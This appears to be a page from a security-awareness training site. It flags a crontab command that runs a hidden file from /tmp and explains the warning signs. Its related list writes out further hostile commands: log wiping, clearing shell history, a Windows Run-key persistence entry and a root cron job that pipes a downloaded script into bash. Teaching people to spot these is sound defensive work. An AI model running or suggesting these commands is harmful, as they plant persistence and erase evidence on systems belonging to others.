Dangerous
echo '* * * * * /tmp/.update' | crontab -linux · bash · Intermediate
Replaces the user's crontab with a job that runs a hidden file in /tmp every minute. Two details give it away: the leading dot hides the target from a plain ls, and piping into crontab - overwrites any existing schedule rather than adding to it.
Signals to notice
- Schedules execution of a dot-hidden file
- Runs from a world-writable directory
- Overwrites the existing crontab
Think you can spot these under time pressure?
Start TrainingMore Persistence
truncate -s 0 /var/log/auth.logIntermediatehistory -c && export HISTFILE=/dev/nullIntermediateln -sf /dev/null ~/.bash_historyIntermediateNew-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name Updater -Value 'C:\Users\Public\svc.exe'Advancedecho '*/5 * * * * root curl -s https://example.com/c | bash' | sudo tee -a /etc/cron.d/syncExpert:> /var/log/syslogAdvanced